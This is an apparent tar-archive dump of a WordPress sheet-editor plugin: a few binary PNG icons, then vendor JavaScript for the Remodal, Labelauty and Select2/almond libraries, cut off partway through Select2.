LٱEf9eF8dǣOk@p#B\'Mo=) uĐEB>:6Qlo6]Z* ) ˸kֿ /d?6 Q7Dx'ey:KCaM۽T&ufTx_WD){5PJ7A 2wWqo-Cg*te j ^"~4{;fo-W?*wW1{|k.QZ" X-J/~ ۵dp;} WAD|Qķ~XC}6cT;k#7.{7c8T_4X;B*bm#"""*RJ)EDDDD̛?97t3Zkgсhzt&ޯw.YNˋվgH@E!6~brݴz]DDDDDDDfffffffVUUUUUUUi{z6Ndmodules/wp-sheet-editor/assets/vendor/images/chosen-sprite.png000064400000001032147600365160020575 0ustar00PNG  IHDR4%^IDATH헱kSQƯ .-=$bo$((THw*"nupA@ PApqJ$p!PM1.;=\D.Yn0@}DMF >Fb1 c !61rb%GIJ(vfFyO H4B c1}^45FoGXٝvUn(Rspv*8sP*cOTQWŬj1QH}T+}֕d/LLcF6˔7,9ʼ1IkJ(dJjLc^z*"Huj)׿,?<._1a°x /b}T!i?Ou oc\eNc:99\@s uZ q|ypka6B|1 Ggqup+[*yIENDB`modules/wp-sheet-editor/assets/vendor/images/input-checked.png000064400000000476147600365160020550 0ustar00PNG  IHDR(-SfPLTE-!tRNS  fIDATx^7@ DQrrΞ_J* .eel@7S`C4z,`%_Mvb=<{fA>Y?=NIENDB`modules/wp-sheet-editor/assets/vendor/images/chosen-sprite@2x.png000064400000001342147600365160021153 0ustar00PNG  IHDRhJqIDATh횿o@#P ?!dԅsft⇿'RJ0#[Ɉ+P{RW%ދ1 e,J4h'Y2NyH%?/4 Lj[ -85HqHqȱs6C+%0`QWXO5 ]:ڿhIg7oi 1n fHn' !- hjh؝lnzHAojQFEæhH 'wԲtc 8H۪/4 Lj`$8 qiDS %N9 J1Sp̶;Xk}\kN[[tk%sFp3KXR~CgYƬ,9A%w;8Qh H,]npY>$c )ƒ Khw~SʼnqP*wҶXy{$u%&Z'(8؜֜bҍ၊5R6emP0<F-F i# zH|YJZ\NIENDB`modules/wp-sheet-editor/assets/vendor/images/input-unchecked.png000064400000000232147600365160021101 0ustar00PNG  IHDRRPLTE}VAtRNSwRp&IDATx^c 0 , `[GG2(+&IENDB`modules/wp-sheet-editor/assets/vendor/js/libraries.js000064400012117323147600365160017003 0ustar00;;;/* * Remodal - v1.0.7 * Responsive, lightweight, fast, synchronized with CSS animations, fully customizable modal window plugin with declarative configuration and hash tracking. * http://vodkabears.github.io/remodal/ * * Made by Ilya Makarov * Under MIT License */ !(function (root, factory) { if (typeof define === 'function' && define.amd) { define(['jquery'], function ($) { return factory(root, $); }); } else if (typeof exports === 'object') { factory(root, require('jquery')); } else { factory(root, root.jQuery || root.Zepto); } })(this, function (global, $) { 'use strict'; /** * Name of the plugin * @private * @const * @type {String} */ var PLUGIN_NAME = 'remodal'; /** * Namespace for CSS and events * @private * @const * @type {String} */ var NAMESPACE = global.REMODAL_GLOBALS && global.REMODAL_GLOBALS.NAMESPACE || PLUGIN_NAME; /** * Animationstart event with vendor prefixes * @private * @const * @type {String} */ var ANIMATIONSTART_EVENTS = $.map( ['animationstart', 'webkitAnimationStart', 'MSAnimationStart', 'oAnimationStart'], function (eventName) { return eventName + '.' + NAMESPACE; } ).join(' '); /** * Animationend event with vendor prefixes * @private * @const * @type {String} */ var ANIMATIONEND_EVENTS = $.map( ['animationend', 'webkitAnimationEnd', 'MSAnimationEnd', 'oAnimationEnd'], function (eventName) { return eventName + '.' + NAMESPACE; } ).join(' '); /** * Default settings * @private * @const * @type {Object} */ var DEFAULTS = $.extend({ hashTracking: true, closeOnConfirm: true, closeOnCancel: true, closeOnEscape: true, closeOnOutsideClick: true, modifier: '' }, global.REMODAL_GLOBALS && global.REMODAL_GLOBALS.DEFAULTS); /** * States of the Remodal * @private * @const * @enum {String} */ var STATES = { CLOSING: 'closing', CLOSED: 'closed', OPENING: 'opening', OPENED: 'opened' }; /** * Reasons of the state change. * @private * @const * @enum {String} */ var STATE_CHANGE_REASONS = { CONFIRMATION: 'confirmation', CANCELLATION: 'cancellation' }; /** * Is animation supported? * @private * @const * @type {Boolean} */ var IS_ANIMATION = (function () { var style = document.createElement('div').style; return style.animationName !== undefined || style.WebkitAnimationName !== undefined || style.MozAnimationName !== undefined || style.msAnimationName !== undefined || style.OAnimationName !== undefined; })(); /** * Is iOS? * @private * @const * @type {Boolean} */ var IS_IOS = /iPad|iPhone|iPod/.test(navigator.platform); /** * Current modal * @private * @type {Remodal} */ var current; /** * Scrollbar position * @private * @type {Number} */ var scrollTop; /** * Returns an animation duration * @private * @param {jQuery} $elem * @returns {Number} */ function getAnimationDuration($elem) { if ( IS_ANIMATION && $elem.css('animation-name') === 'none' && $elem.css('-webkit-animation-name') === 'none' && $elem.css('-moz-animation-name') === 'none' && $elem.css('-o-animation-name') === 'none' && $elem.css('-ms-animation-name') === 'none' ) { return 0; } var duration = $elem.css('animation-duration') || $elem.css('-webkit-animation-duration') || $elem.css('-moz-animation-duration') || $elem.css('-o-animation-duration') || $elem.css('-ms-animation-duration') || '0s'; var delay = $elem.css('animation-delay') || $elem.css('-webkit-animation-delay') || $elem.css('-moz-animation-delay') || $elem.css('-o-animation-delay') || $elem.css('-ms-animation-delay') || '0s'; var iterationCount = $elem.css('animation-iteration-count') || $elem.css('-webkit-animation-iteration-count') || $elem.css('-moz-animation-iteration-count') || $elem.css('-o-animation-iteration-count') || $elem.css('-ms-animation-iteration-count') || '1'; var max; var len; var num; var i; duration = duration.split(', '); delay = delay.split(', '); iterationCount = iterationCount.split(', '); // The 'duration' size is the same as the 'delay' size for (i = 0, len = duration.length, max = Number.NEGATIVE_INFINITY; i < len; i++) { num = parseFloat(duration[i]) * parseInt(iterationCount[i], 10) + parseFloat(delay[i]); if (num > max) { max = num; } } return max; } /** * Returns a scrollbar width * @private * @returns {Number} */ function getScrollbarWidth() { if ($(document.body).height() <= $(window).height()) { return 0; } var outer = document.createElement('div'); var inner = document.createElement('div'); var widthNoScroll; var widthWithScroll; outer.style.visibility = 'hidden'; outer.style.width = '100px'; document.body.appendChild(outer); widthNoScroll = outer.offsetWidth; // Force scrollbars outer.style.overflow = 'scroll'; // Add inner div inner.style.width = '100%'; outer.appendChild(inner); widthWithScroll = inner.offsetWidth; // Remove divs outer.parentNode.removeChild(outer); return widthNoScroll - widthWithScroll; } /** * Locks the screen * @private */ function lockScreen() { if (IS_IOS) { return; } var $html = $('html'); var lockedClass = namespacify('is-locked'); var paddingRight; var $body; if (!$html.hasClass(lockedClass)) { $body = $(document.body); // Zepto does not support '-=', '+=' in the `css` method paddingRight = parseInt($body.css('padding-right'), 10) + getScrollbarWidth(); $body.css('padding-right', paddingRight + 'px'); $html.addClass(lockedClass); } } /** * Unlocks the screen * @private */ function unlockScreen() { if (IS_IOS) { return; } var $html = $('html'); var lockedClass = namespacify('is-locked'); var paddingRight; var $body; if ($html.hasClass(lockedClass)) { $body = $(document.body); // Zepto does not support '-=', '+=' in the `css` method paddingRight = parseInt($body.css('padding-right'), 10) - getScrollbarWidth(); $body.css('padding-right', paddingRight + 'px'); $html.removeClass(lockedClass); } } /** * Sets a state for an instance * @private * @param {Remodal} instance * @param {STATES} state * @param {Boolean} isSilent If true, Remodal does not trigger events * @param {String} Reason of a state change. */ function setState(instance, state, isSilent, reason) { var newState = namespacify('is', state); var allStates = [namespacify('is', STATES.CLOSING), namespacify('is', STATES.OPENING), namespacify('is', STATES.CLOSED), namespacify('is', STATES.OPENED)].join(' '); instance.$bg .removeClass(allStates) .addClass(newState); instance.$overlay .removeClass(allStates) .addClass(newState); instance.$wrapper .removeClass(allStates) .addClass(newState); instance.$modal .removeClass(allStates) .addClass(newState); instance.state = state; !isSilent && instance.$modal.trigger({ type: state, reason: reason }, [{reason: reason}]); } /** * Synchronizes with the animation * @param {Function} doBeforeAnimation * @param {Function} doAfterAnimation * @param {Remodal} instance */ function syncWithAnimation(doBeforeAnimation, doAfterAnimation, instance) { var runningAnimationsCount = 0; var handleAnimationStart = function (e) { if (e.target !== this) { return; } runningAnimationsCount++; }; var handleAnimationEnd = function (e) { if (e.target !== this) { return; } if (--runningAnimationsCount === 0) { // Remove event listeners $.each(['$bg', '$overlay', '$wrapper', '$modal'], function (index, elemName) { instance[elemName].off(ANIMATIONSTART_EVENTS + ' ' + ANIMATIONEND_EVENTS); }); doAfterAnimation(); } }; $.each(['$bg', '$overlay', '$wrapper', '$modal'], function (index, elemName) { instance[elemName] .on(ANIMATIONSTART_EVENTS, handleAnimationStart) .on(ANIMATIONEND_EVENTS, handleAnimationEnd); }); doBeforeAnimation(); // If the animation is not supported by a browser or its duration is 0 if ( getAnimationDuration(instance.$bg) === 0 && getAnimationDuration(instance.$overlay) === 0 && getAnimationDuration(instance.$wrapper) === 0 && getAnimationDuration(instance.$modal) === 0 ) { // Remove event listeners $.each(['$bg', '$overlay', '$wrapper', '$modal'], function (index, elemName) { instance[elemName].off(ANIMATIONSTART_EVENTS + ' ' + ANIMATIONEND_EVENTS); }); doAfterAnimation(); } } /** * Closes immediately * @private * @param {Remodal} instance */ function halt(instance) { if (instance.state === STATES.CLOSED) { return; } $.each(['$bg', '$overlay', '$wrapper', '$modal'], function (index, elemName) { instance[elemName].off(ANIMATIONSTART_EVENTS + ' ' + ANIMATIONEND_EVENTS); }); instance.$bg.removeClass(instance.settings.modifier); instance.$overlay.removeClass(instance.settings.modifier).hide(); instance.$wrapper.hide(); unlockScreen(); setState(instance, STATES.CLOSED, true); } /** * Parses a string with options * @private * @param str * @returns {Object} */ function parseOptions(str) { var obj = {}; var arr; var len; var val; var i; // Remove spaces before and after delimiters str = str.replace(/\s*:\s*/g, ':').replace(/\s*,\s*/g, ','); // Parse a string arr = str.split(','); for (i = 0, len = arr.length; i < len; i++) { arr[i] = arr[i].split(':'); val = arr[i][1]; // Convert a string value if it is like a boolean if (typeof val === 'string' || val instanceof String) { val = val === 'true' || (val === 'false' ? false : val); } // Convert a string value if it is like a number if (typeof val === 'string' || val instanceof String) { val = !isNaN(val) ? +val : val; } obj[arr[i][0]] = val; } return obj; } /** * Generates a string separated by dashes and prefixed with NAMESPACE * @private * @param {...String} * @returns {String} */ function namespacify() { var result = NAMESPACE; for (var i = 0; i < arguments.length; ++i) { result += '-' + arguments[i]; } return result; } /** * Handles the hashchange event * @private * @listens hashchange */ function handleHashChangeEvent() { var id = location.hash.replace('#', ''); var instance; var $elem; if (!id) { // Check if we have currently opened modal and animation was completed if (current && current.state === STATES.OPENED && current.settings.hashTracking) { current.close(); } } else { // Catch syntax error if your hash is bad try { $elem = $( '[data-' + PLUGIN_NAME + '-id="' + id + '"]' ); } catch (err) { } if ($elem && $elem.length) { instance = $[PLUGIN_NAME].lookup[$elem.data(PLUGIN_NAME)]; if (instance && instance.settings.hashTracking) { instance.open(); } } } } /** * Remodal constructor * @constructor * @param {jQuery} $modal * @param {Object} options */ function Remodal($modal, options) { var $body = $(document.body); var remodal = this; remodal.settings = $.extend({}, DEFAULTS, options); remodal.index = $[PLUGIN_NAME].lookup.push(remodal) - 1; remodal.state = STATES.CLOSED; remodal.$overlay = $('.' + namespacify('overlay')); if (!remodal.$overlay.length) { remodal.$overlay = $('
    ').addClass(namespacify('overlay') + ' ' + namespacify('is', STATES.CLOSED)).hide(); $body.append(remodal.$overlay); } remodal.$bg = $('.' + namespacify('bg')).addClass(namespacify('is', STATES.CLOSED)); remodal.$modal = $modal .addClass( NAMESPACE + ' ' + namespacify('is-initialized') + ' ' + remodal.settings.modifier + ' ' + namespacify('is', STATES.CLOSED)) .attr('tabindex', '-1'); remodal.$wrapper = $('
    ') .addClass( namespacify('wrapper') + ' ' + remodal.settings.modifier + ' ' + namespacify('is', STATES.CLOSED)) .hide() .append(remodal.$modal); $body.append(remodal.$wrapper); // Add the event listener for the close button remodal.$wrapper.on('click.' + NAMESPACE, '[data-' + PLUGIN_NAME + '-action="close"]', function (e) { e.preventDefault(); remodal.close(); }); // Add the event listener for the cancel button remodal.$wrapper.on('click.' + NAMESPACE, '[data-' + PLUGIN_NAME + '-action="cancel"]', function (e) { e.preventDefault(); remodal.$modal.trigger(STATE_CHANGE_REASONS.CANCELLATION); if (remodal.settings.closeOnCancel) { remodal.close(STATE_CHANGE_REASONS.CANCELLATION); } }); // Add the event listener for the confirm button remodal.$wrapper.on('click.' + NAMESPACE, '[data-' + PLUGIN_NAME + '-action="confirm"]', function (e) { e.preventDefault(); remodal.$modal.trigger(STATE_CHANGE_REASONS.CONFIRMATION); if (remodal.settings.closeOnConfirm) { remodal.close(STATE_CHANGE_REASONS.CONFIRMATION); } }); // Add the event listener for the overlay remodal.$wrapper.on('click.' + NAMESPACE, function (e) { var $target = $(e.target); if (!$target.hasClass(namespacify('wrapper'))) { return; } if (remodal.settings.closeOnOutsideClick) { remodal.close(); } }); } /** * Opens a modal window * @public */ Remodal.prototype.open = function () { var remodal = this; var id; // Check if the animation was completed if (remodal.state === STATES.OPENING || remodal.state === STATES.CLOSING) { return; } id = remodal.$modal.attr('data-' + PLUGIN_NAME + '-id'); if (id && remodal.settings.hashTracking) { scrollTop = $(window).scrollTop(); location.hash = id; } if (current && current !== remodal) { halt(current); } current = remodal; lockScreen(); remodal.$bg.addClass(remodal.settings.modifier); remodal.$overlay.addClass(remodal.settings.modifier).show(); remodal.$wrapper.show().scrollTop(0); remodal.$modal.focus(); syncWithAnimation( function () { setState(remodal, STATES.OPENING); }, function () { setState(remodal, STATES.OPENED); }, remodal); }; /** * Closes a modal window * @public * @param {String} reason */ Remodal.prototype.close = function (reason) { var remodal = this; // Check if the animation was completed if (remodal.state === STATES.OPENING || remodal.state === STATES.CLOSING) { return; } if ( remodal.settings.hashTracking && remodal.$modal.attr('data-' + PLUGIN_NAME + '-id') === location.hash.substr(1) ) { location.hash = ''; $(window).scrollTop(scrollTop); } syncWithAnimation( function () { setState(remodal, STATES.CLOSING, false, reason); }, function () { remodal.$bg.removeClass(remodal.settings.modifier); remodal.$overlay.removeClass(remodal.settings.modifier).hide(); remodal.$wrapper.hide(); unlockScreen(); setState(remodal, STATES.CLOSED, false, reason); }, remodal); }; /** * Returns a current state of a modal * @public * @returns {STATES} */ Remodal.prototype.getState = function () { return this.state; }; /** * Destroys a modal * @public */ Remodal.prototype.destroy = function () { var lookup = $[PLUGIN_NAME].lookup; var instanceCount; halt(this); this.$wrapper.remove(); delete lookup[this.index]; instanceCount = $.grep(lookup, function (instance) { return !!instance; }).length; if (instanceCount === 0) { this.$overlay.remove(); this.$bg.removeClass( namespacify('is', STATES.CLOSING) + ' ' + namespacify('is', STATES.OPENING) + ' ' + namespacify('is', STATES.CLOSED) + ' ' + namespacify('is', STATES.OPENED)); } }; /** * Special plugin object for instances * @public * @type {Object} */ $[PLUGIN_NAME] = { lookup: [] }; /** * Plugin constructor * @constructor * @param {Object} options * @returns {JQuery} */ $.fn[PLUGIN_NAME] = function (opts) { var instance; var $elem; this.each(function (index, elem) { $elem = $(elem); if ($elem.data(PLUGIN_NAME) == null) { instance = new Remodal($elem, opts); $elem.data(PLUGIN_NAME, instance.index); if ( instance.settings.hashTracking && $elem.attr('data-' + PLUGIN_NAME + '-id') === location.hash.substr(1) ) { instance.open(); } } else { instance = $[PLUGIN_NAME].lookup[$elem.data(PLUGIN_NAME)]; } }); return instance; }; $(document).ready(function () { // data-remodal-target opens a modal window with the special Id $(document).on('click', '[data-' + PLUGIN_NAME + '-target]', function (e) { e.preventDefault(); var elem = e.currentTarget; var id = elem.getAttribute('data-' + PLUGIN_NAME + '-target'); var $target = $('[data-' + PLUGIN_NAME + '-id="' + id + '"]'); $[PLUGIN_NAME].lookup[$target.data(PLUGIN_NAME)].open(); }); // Auto initialization of modal windows // They should have the 'remodal' class attribute // Also you can write the `data-remodal-options` attribute to pass params into the modal $(document).find('.' + NAMESPACE).each(function (i, container) { var $container = $(container); var options = $container.data(PLUGIN_NAME + '-options'); if (!options) { options = {}; } else if (typeof options === 'string' || options instanceof String) { options = parseOptions(options); } $container[PLUGIN_NAME](options); }); // Handles the keydown event $(document).on('keydown.' + NAMESPACE, function (e) { if (current && current.settings.closeOnEscape && current.state === STATES.OPENED && e.keyCode === 27) { current.close(); } }); // Handles the hashchange event $(window).on('hashchange.' + NAMESPACE, handleHashChangeEvent); }); }); /*! * LABELAUTY jQuery Plugin * * @file: jquery-labelauty.js * @author: Francisco Neves (@fntneves) * @site: www.francisconeves.com * @license: MIT License */ (function ($) { $.fn.labelauty = function (options) { /* * Our default settings * Hope you don't need to change anything, with these settings */ var settings = $.extend( { // Development Mode // This will activate console debug messages development: false, // Trigger Class // This class will be used to apply styles class: "labelauty", // Use text label ? // If false, then only an icon represents the input label: true, // Separator between labels' messages // If you use this separator for anything, choose a new one separator: "|", // Default Checked Message // This message will be visible when input is checked checked_label: "Checked", // Default UnChecked Message // This message will be visible when input is unchecked unchecked_label: "Unchecked", // Force random ID's // Replace original ID's with random ID's, force_random_id: false, // Minimum Label Width // This value will be used to apply a minimum width to the text labels minimum_width: false, // Use the greatest width between two text labels ? // If this has a true value, then label width will be the greatest between labels same_width: true }, options); /* * Let's create the core function * It will try to cover all settings and mistakes of using */ return this.each(function () { var $object = $(this); var use_labels = true; var labels; var labels_object; var input_id; // Test if object is a check input // Don't mess me up, come on if ($object.is(":checkbox") === false && $object.is(":radio") === false) return this; // Add "labelauty" class to all checkboxes // So you can apply some custom styles $object.addClass(settings.class); // Get the value of "data-labelauty" attribute // Then, we have the labels for each case (or not, as we will see) labels = $object.attr("data-labelauty"); use_labels = settings.label; // It's time to check if it's going to the right way // Null values, more labels than expected or no labels will be handled here if (use_labels === true) { if (labels == null || labels.length === 0) { // If attribute has no label and we want to use, then use the default labels labels_object = new Array(); labels_object[0] = settings.unchecked_label; labels_object[1] = settings.checked_label; } else { // Ok, ok, it's time to split Checked and Unchecked labels // We split, by the "settings.separator" option labels_object = labels.split(settings.separator); // Now, let's check if exist _only_ two labels // If there's more than two, then we do not use labels :( // Else, do some additional tests if (labels_object.length > 2) { use_labels = false; debug(settings.development, "There's more than two labels. LABELAUTY will not use labels."); } else { // If there's just one label (no split by "settings.separator"), it will be used for both cases // Here, we have the possibility of use the same label for both cases if (labels_object.length === 1) debug(settings.development, "There's just one label. LABELAUTY will use this one for both cases."); } } } /* * Let's begin the beauty */ // Start hiding ugly checkboxes // Obviously, we don't need native checkboxes :O $object.css({display: "none"}); // We don't need more data-labelauty attributes! // Ok, ok, it's just for beauty improvement $object.removeAttr("data-labelauty"); // Now, grab checkbox ID Attribute for "label" tag use // If there's no ID Attribute, then generate a new one input_id = $object.attr("id"); if (settings.force_random_id || input_id == null || input_id.trim() === "") { var input_id_number = 1 + Math.floor(Math.random() * 1024000); input_id = "labelauty-" + input_id_number; // Is there any element with this random ID ? // If exists, then increment until get an unused ID while ($(input_id).length !== 0) { input_id_number++; input_id = "labelauty-" + input_id_number; debug(settings.development, "Holy crap, between 1024 thousand numbers, one raised a conflict. Trying again."); } $object.attr("id", input_id); } // Now, add necessary tags to make this work // Here, we're going to test some control variables and act properly $object.after(create(input_id, labels_object, use_labels)); // Now, add "min-width" to label // Let's say the truth, a fixed width is more beautiful than a variable width if (settings.minimum_width !== false) $object.next("label[for=" + input_id + "]").css({"min-width": settings.minimum_width}); // Now, add "min-width" to label // Let's say the truth, a fixed width is more beautiful than a variable width if (settings.same_width != false && settings.label == true) { var label_object = $object.next("label[for=" + input_id + "]"); var unchecked_width = getRealWidth(label_object.find("span.labelauty-unchecked")); var checked_width = getRealWidth(label_object.find("span.labelauty-checked")); if (unchecked_width > checked_width) label_object.find("span.labelauty-checked").width(unchecked_width); else label_object.find("span.labelauty-unchecked").width(checked_width); } }); }; /* * Tricky code to work with hidden elements, like tabs. * Note: This code is based on jquery.actual plugin. * https://github.com/dreamerslab/jquery.actual */ function getRealWidth(element) { var width = 0; var $target = element; var style = 'position: absolute !important; top: -1000 !important; '; $target = $target.clone().attr('style', style).appendTo('body'); width = $target.width(true); $target.remove(); return width; } function debug(debug, message) { if (debug && window.console && window.console.log) window.console.log("jQuery-LABELAUTY: " + message); } ; function create(input_id, messages_object, label) { var block; var unchecked_message; var checked_message; if (messages_object == null) unchecked_message = checked_message = ""; else { unchecked_message = messages_object[0]; // If checked message is null, then put the same text of unchecked message if (messages_object[1] == null) checked_message = unchecked_message; else checked_message = messages_object[1]; } if (label == true) { block = ''; } else { block = ''; } return block; } ; }(jQuery)); /*! * Select2 4.0.5 * https://select2.github.io * * Released under the MIT license * https://github.com/select2/select2/blob/master/LICENSE.md */ (function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = function (root, jQuery) { if (jQuery === undefined) { // require('jQuery') returns a factory that requires window to // build a jQuery instance, we normalize how we use modules // that require this pattern but the window provided is a noop // if it's defined (how jquery works) if (typeof window !== 'undefined') { jQuery = require('jquery'); } else { jQuery = require('jquery')(root); } } factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } } (function (jQuery) { // This is needed so we can catch the AMD loader configuration and use it // The inner file should be wrapped (by `banner.start.js`) in a function that // returns the AMD loader references. var S2 =(function () { // Restore the Select2 AMD loader so it can be used // Needed mostly in the language files, where the loader is not inserted if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) { var S2 = jQuery.fn.select2.amd; } var S2;(function () { if (!S2 || !S2.requirejs) { if (!S2) { S2 = {}; } else { require = S2; } /** * @license almond 0.3.3 Copyright jQuery Foundation and other contributors. * Released under MIT license, http://github.com/requirejs/almond/LICENSE */ //Going sloppy to avoid 'use strict' string cost, but strict practices should //be followed. /*global setTimeout: false */ var requirejs, require, define; (function (undef) { var main, req, makeMap, handlers, defined = {}, waiting = {}, config = {}, defining = {}, hasOwn = Object.prototype.hasOwnProperty, aps = [].slice, jsSuffixRegExp = /\.js$/; function hasProp(obj, prop) { return hasOwn.call(obj, prop); } /** * Given a relative module name, like ./something, normalize it to * a real name that can be mapped to a path. * @param {String} name the relative name * @param {String} baseName a real name that the name arg is relative * to. * @returns {String} normalized name */ function normalize(name, baseName) { var nameParts, nameSegment, mapValue, foundMap, lastIndex, foundI, foundStarMap, starI, i, j, part, normalizedBaseParts, baseParts = baseName && baseName.split("/"), map = config.map, starMap = (map && map['*']) || {}; //Adjust any relative paths. if (name) { name = name.split('/'); lastIndex = name.length - 1; // If wanting node ID compatibility, strip .js from end // of IDs. Have to do this here, and not in nameToUrl // because node allows either .js or non .js to map // to same file. if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) { name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, ''); } // Starts with a '.' so need the baseName if (name[0].charAt(0) === '.' && baseParts) { //Convert baseName to array, and lop off the last part, //so that . matches that 'directory' and not name of the baseName's //module. For instance, baseName of 'one/two/three', maps to //'one/two/three.js', but we want the directory, 'one/two' for //this normalization. normalizedBaseParts = baseParts.slice(0, baseParts.length - 1); name = normalizedBaseParts.concat(name); } //start trimDots for (i = 0; i < name.length; i++) { part = name[i]; if (part === '.') { name.splice(i, 1); i -= 1; } else if (part === '..') { // If at the start, or previous value is still .., // keep them so that when converted to a path it may // still work when converted to a path, even though // as an ID it is less than ideal. In larger point // releases, may be better to just kick out an error. if (i === 0 || (i === 1 && name[2] === '..') || name[i - 1] === '..') { continue; } else if (i > 0) { name.splice(i - 1, 2); i -= 2; } } } //end trimDots name = name.join('/'); } //Apply map config if available. if ((baseParts || starMap) && map) { nameParts = name.split('/'); for (i = nameParts.length; i > 0; i -= 1) { nameSegment = nameParts.slice(0, i).join("/"); if (baseParts) { //Find the longest baseName segment match in the config. //So, do joins on the biggest to smallest lengths of baseParts. for (j = baseParts.length; j > 0; j -= 1) { mapValue = map[baseParts.slice(0, j).join('/')]; //baseName segment has config, find if it has one for //this name. if (mapValue) { mapValue = mapValue[nameSegment]; if (mapValue) { //Match, update name to the new value. foundMap = mapValue; foundI = i; break; } } } } if (foundMap) { break; } //Check for a star map match, but just hold on to it, //if there is a shorter segment match later in a matching //config, then favor over this star map. if (!foundStarMap && starMap && starMap[nameSegment]) { foundStarMap = starMap[nameSegment]; starI = i; } } if (!foundMap && foundStarMap) { foundMap = foundStarMap; foundI = starI; } if (foundMap) { nameParts.splice(0, foundI, foundMap); name = nameParts.join('/'); } } return name; } function makeRequire(relName, forceSync) { return function () { //A version of a require function that passes a moduleName //value for items that may need to //look up paths relative to the moduleName var args = aps.call(arguments, 0); //If first arg is not require('string'), and there is only //one arg, it is the array form without a callback. Insert //a null so that the following concat is correct. if (typeof args[0] !== 'string' && args.length === 1) { args.push(null); } return req.apply(undef, args.concat([relName, forceSync])); }; } function makeNormalize(relName) { return function (name) { return normalize(name, relName); }; } function makeLoad(depName) { return function (value) { defined[depName] = value; }; } function callDep(name) { if (hasProp(waiting, name)) { var args = waiting[name]; delete waiting[name]; defining[name] = true; main.apply(undef, args); } if (!hasProp(defined, name) && !hasProp(defining, name)) { throw new Error('No ' + name); } return defined[name]; } //Turns a plugin!resource to [plugin, resource] //with the plugin being undefined if the name //did not have a plugin prefix. function splitPrefix(name) { var prefix, index = name ? name.indexOf('!') : -1; if (index > -1) { prefix = name.substring(0, index); name = name.substring(index + 1, name.length); } return [prefix, name]; } //Creates a parts array for a relName where first part is plugin ID, //second part is resource ID. Assumes relName has already been normalized. function makeRelParts(relName) { return relName ? splitPrefix(relName) : []; } /** * Makes a name map, normalizing the name, and using a plugin * for normalization if necessary. Grabs a ref to plugin * too, as an optimization. */ makeMap = function (name, relParts) { var plugin, parts = splitPrefix(name), prefix = parts[0], relResourceName = relParts[1]; name = parts[1]; if (prefix) { prefix = normalize(prefix, relResourceName); plugin = callDep(prefix); } //Normalize according if (prefix) { if (plugin && plugin.normalize) { name = plugin.normalize(name, makeNormalize(relResourceName)); } else { name = normalize(name, relResourceName); } } else { name = normalize(name, relResourceName); parts = splitPrefix(name); prefix = parts[0]; name = parts[1]; if (prefix) { plugin = callDep(prefix); } } //Using ridiculous property names for space reasons return { f: prefix ? prefix + '!' + name : name, //fullName n: name, pr: prefix, p: plugin }; }; function makeConfig(name) { return function () { return (config && config.config && config.config[name]) || {}; }; } handlers = { require: function (name) { return makeRequire(name); }, exports: function (name) { var e = defined[name]; if (typeof e !== 'undefined') { return e; } else { return (defined[name] = {}); } }, module: function (name) { return { id: name, uri: '', exports: defined[name], config: makeConfig(name) }; } }; main = function (name, deps, callback, relName) { var cjsModule, depName, ret, map, i, relParts, args = [], callbackType = typeof callback, usingExports; //Use name if no relName relName = relName || name; relParts = makeRelParts(relName); //Call the callback to define the module, if necessary. if (callbackType === 'undefined' || callbackType === 'function') { //Pull out the defined dependencies and pass the ordered //values to the callback. //Default to [require, exports, module] if no deps deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps; for (i = 0; i < deps.length; i += 1) { map = makeMap(deps[i], relParts); depName = map.f; //Fast path CommonJS standard dependencies. if (depName === "require") { args[i] = handlers.require(name); } else if (depName === "exports") { //CommonJS module spec 1.1 args[i] = handlers.exports(name); usingExports = true; } else if (depName === "module") { //CommonJS module spec 1.1 cjsModule = args[i] = handlers.module(name); } else if (hasProp(defined, depName) || hasProp(waiting, depName) || hasProp(defining, depName)) { args[i] = callDep(depName); } else if (map.p) { map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {}); args[i] = defined[depName]; } else { throw new Error(name + ' missing ' + depName); } } ret = callback ? callback.apply(defined[name], args) : undefined; if (name) { //If setting exports via "module" is in play, //favor that over return value and exports. After that, //favor a non-undefined return value over exports use. if (cjsModule && cjsModule.exports !== undef && cjsModule.exports !== defined[name]) { defined[name] = cjsModule.exports; } else if (ret !== undef || !usingExports) { //Use the return value from the function. defined[name] = ret; } } } else if (name) { //May just be an object definition for the module. Only //worry about defining if have a module name. defined[name] = callback; } }; requirejs = require = req = function (deps, callback, relName, forceSync, alt) { if (typeof deps === "string") { if (handlers[deps]) { //callback in this case is really relName return handlers[deps](callback); } //Just return the module wanted. In this scenario, the //deps arg is the module name, and second arg (if passed) //is just the relName. //Normalize module name, if it contains . or .. return callDep(makeMap(deps, makeRelParts(callback)).f); } else if (!deps.splice) { //deps is a config object, not an array. config = deps; if (config.deps) { req(config.deps, config.callback); } if (!callback) { return; } if (callback.splice) { //callback is an array, which means it is a dependency list. //Adjust args if there are dependencies deps = callback; callback = relName; relName = null; } else { deps = undef; } } //Support require(['a']) callback = callback || function () {}; //If relName is a function, it is an errback handler, //so remove it. if (typeof relName === 'function') { relName = forceSync; forceSync = alt; } //Simulate async callback; if (forceSync) { main(undef, deps, callback, relName); } else { //Using a non-zero value because of concern for what old browsers //do, and latest browsers "upgrade" to 4 if lower value is used: //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout: //If want a value immediately, use require('id') instead -- something //that works in almond on the global level, but not guaranteed and //unlikely to work in other AMD implementations. setTimeout(function () { main(undef, deps, callback, relName); }, 4); } return req; }; /** * Just drops the config on the floor, but returns req in case * the config return value is used. */ req.config = function (cfg) { return req(cfg); }; /** * Expose module registry for debugging and tooling */ requirejs._defined = defined; define = function (name, deps, callback) { if (typeof name !== 'string') { throw new Error('See almond README: incorrect module build, no module name'); } //This module may not have dependencies if (!deps.splice) { //deps is not an array, so probably means //an object literal or factory function for //the value. Adjust args. callback = deps; deps = []; } if (!hasProp(defined, name) && !hasProp(waiting, name)) { waiting[name] = [name, deps, callback]; } }; define.amd = { jQuery: true }; }()); S2.requirejs = requirejs;S2.require = require;S2.define = define; } }()); S2.define("almond", function(){}); /* global jQuery:false, $:false */ S2.define('jquery',[],function () { var _$ = jQuery || $; if (_$ == null && console && console.error) { console.error( 'Select2: An instance of jQuery or a jQuery-compatible library was not ' + 'found. Make 